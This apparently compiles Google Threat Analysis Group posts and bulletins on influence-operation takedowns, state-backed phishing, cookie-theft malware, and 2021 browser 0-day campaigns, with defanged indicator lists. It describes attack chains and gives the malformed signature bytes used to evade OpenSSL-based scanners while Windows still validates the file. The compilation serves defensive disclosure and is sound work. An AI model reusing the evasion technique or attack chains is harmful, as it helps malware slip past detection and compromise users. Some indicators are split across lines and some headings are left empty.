This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.
We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.
This domestic campaign posted content supporting the Indonesian government.
We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.
We received leads from the FBI that supported us in this investigation.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.
This campaign was consistent with similar findings reported by Facebook.
We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.
This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.
This campaign was consistent with similar findings reported by Facebook.
We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian critical of the Ukrainian government.
We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.
The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.
We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Arabic about current events in the Middle East and North Africa.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.
This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.
The campaign targeted the Central African Republic and Mali.
This campaign was consistent with similar findings reported by Facebook.
We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.
We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.
A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S. We received leads from Graphika and Fireye that supported us in this investigation.
These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.
Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.
As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.
In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.
We haven’t seen any evidence of such attempts being successful.
The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.
As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.
One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.
The malware was a python-based implant using Dropbox for command and control.
It would allow the attacker to upload and download files as well as execute arbitrary commands.
Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.
In one example, attackers impersonated McAfee.
The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.
When we detect that a user is the target of a government-backed attack, we send them a prominent warning.
In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.
This targeting is consistent with what others have subsequently reported.
Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.
U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.
This has resulted in action on our platforms, as well as others.
Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.
We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).
To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.
Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.
This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.
A small fraction of these spam channels will then post videos about current events.
Such videos frequently feature clumsy translations and computer-generated voices.
Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).
As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.
In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.
This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.
In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.
One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.
In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.
In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.
While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.
For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.
Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.
Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.
Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.
We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.
The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.
The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.
The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.
When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.
We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.
We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).
Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.
Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.
These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.
We’ll also share additional removal actions from April and May in the Q2 Bulletin.
Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.
It was last updated on May 27, 2020.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.
We received leads from Graphika that supported us in this investigation.
We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.
The campaign was sharing messages in English supportive of Qatar.
This campaign was consistent with similar findings reported by Facebook.
We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.
This campaign was consistent with similar findings reported by Twitter.
We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
This campaign was consistent with similar findings reported by Twitter.
We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.
The domestic campaign was posting pro-Serbian political content.
This campaign was consistent with similar findings reported by Twitter.
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.
This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.
We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.
On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
This means that there is typically more than one threat actor behind the warnings.
In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.
This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.
For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.
In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.
Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.
Users were instructed to activate an invitation to a (fake) webinar by logging in.
The phishing kit will also ask for second-factor authentication codes sent to devices.
APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.
Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.
In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.
The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.
Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.
Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.
One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.
Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.
When they did, attackers sent them phishing links in follow-on correspondence.
Targets typically had to navigate through at least one redirect before landing on a phishing domain.
Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.
We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.
Services from Dropbox and Microsoft are also abused.
One of APT35’s novel techniques involves using Telegram for operator notifications.
The attackers embed javascript into phishing pages that notify them when the page has been loaded.
To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.
The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.
We reported the bot to Telegram and they have taken action to remove it.
We warn users when we suspect a government-backed threat like APT35 is targeting them.
Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.
If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.
Workspace administrators are also notified regarding targeted accounts in their domain.
Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.
We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.
When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.
When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.
Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.
Indicators from APT28 phishing campaign:
service-reset-password-moderate-digital.rf[.
]gd
reset-service-identity-mail.42web[.
]io
digital-email-software.great-site[.
]net
Indicators from APT35 campaigns:
Abused Google Properties:
https://sites.google[.
]com/view/ty85yt8tg8-download-rtih4ithr/
https://sites.google[.
]com/view/user-id-568245/
https://sites.google[.
]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/
Abused Dropbox Properties:
https://www.dropbox[.
]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains:
nco2[.
]live
summit-files[.
]com
filetransfer[.
]club
continuetogo[.
]me
accessverification[.
]online
customers-verification-identifier[.
]site
service-activity-session[.
]online
identifier-service-review[.
]site
recovery-activity-identification[.
]site
review-session-confirmation[.
]site
recovery-service-activity[.
]site
verify-service-activity[.
]site
service-manager-notifications[.
]info
Android App:
https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection
Android App C2:
communication-shield[.
]site
cdsa[.
]xyz
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Understanding the techniques used by attackers helps us counter these threats effectively.
This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.
Attackers often rely on varying behaviors between different systems to gain access.
For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.
In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.
We believe this is a technique the attacker is using to evade detection rules.
Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.
Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.
OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.
The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.
Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.
Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.
In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.
EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).
Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00
Decodes to the following elements:
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1)
EOC
Security products using OpenSSL to extract signature information will reject this encoding as invalid.
However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.
This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.
As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.
This issue has been reported to Microsoft.
Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.
The following are samples using this evasion:
https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection
New variant:
https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection
Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.
Users are encouraged to only download and install software from reputable and trustworthy sources.
Zero-day vulnerabilities are unknown software flaws.
Until they’re identified and fixed, they can be exploited by attackers.
Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.
In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year:
CVE-2021-21166 and CVE-2021-30551 in Chrome,
CVE-2021-33742 in Internet Explorer, and
CVE-2021-1879 in WebKit (Safari).
The four exploits were used as a part of three different campaigns.
As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.
We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.
Google has also published root cause analyses (RCAs) on each of the 0-days.
In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.
Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.
While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.
Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.
CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.
Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.
The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.
When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.
The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.
This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.
Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.
After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.
This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.
In our environment, we did not receive any payloads past this stage.
While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.
Apple fixed the issue as CVE-2021-1844.
We do not have any evidence that this vulnerability was used to target Safari users.
Related IOCs
lragir[.
]org
armradio[.
]org
asbares[.
]com
armtimes[.
]net
armlur[.
]org
armenpress[.
]org
hraparak[.
]org
armtimes[.
]org
hetq[.
]org
Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.
For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.
These files are automatically opened in Internet Explorer when they are double clicked by the user.
In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.
This happened by either embedding a remote ActiveX object using a Shell.
Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.
At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.
After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.
This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.
The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.
We did not recover additional payloads in our environment.
During our investigation we discovered several documents uploaded to VirusTotal.
Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.
On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.
Related IOCs
Examples of related Office documents uploaded to VirusTotal:
https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection
https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection
Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit:
http://lioiamcount[.
]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1
http://db-control-uplink[.
]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB
http://kidone[.
]xyz/VvE0yYArmvhyTl/GzV
Word documents with the following classid:
{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}
Related infrastructure:
workaj[.
]com
wordzmncount[.
]com
Not all attacks require chaining multiple 0-day exploits to be successful.
A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.
(NOTE: This exploit is not connected to the other three we’ve discussed above.)
In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.
If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.
The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.
After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.
This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.
The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.
There was no sandbox escape or implant delivered via this exploit.
The exploit targeted iOS versions 12.4 through 13.7.
This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.
Related IOCs
supportcdn.web[.
]app
vegmobile[.
]com
111.90.146[.
]198
There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.
The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.
Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild:
Increase in detection & disclosure
This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.
When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.
In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.
It’s also possible that more people are focusing on discovering 0-days in-the-wild and/or reporting the 0-days that they found in the wild.
Increased Utilization
There is also the possibility that attackers are using more 0-day exploits.
There are a few reasons why this is likely:
Over the last decade, we believe there has been an increase in attackers using 0-day exploits.
Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  reflects increased cost to the attackers from security measures that close known vulnerabilities.
However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.
0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.
In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.
No longer do groups need to have the technical expertise, now they just need resources.
Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.
Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.
Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.
It was last updated on July 29, 2021.
JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.
Our findings are similar to findings reported by Facebook.
We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.
This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.
Our findings are similar to findings reported by Facebook.
We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.
We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.
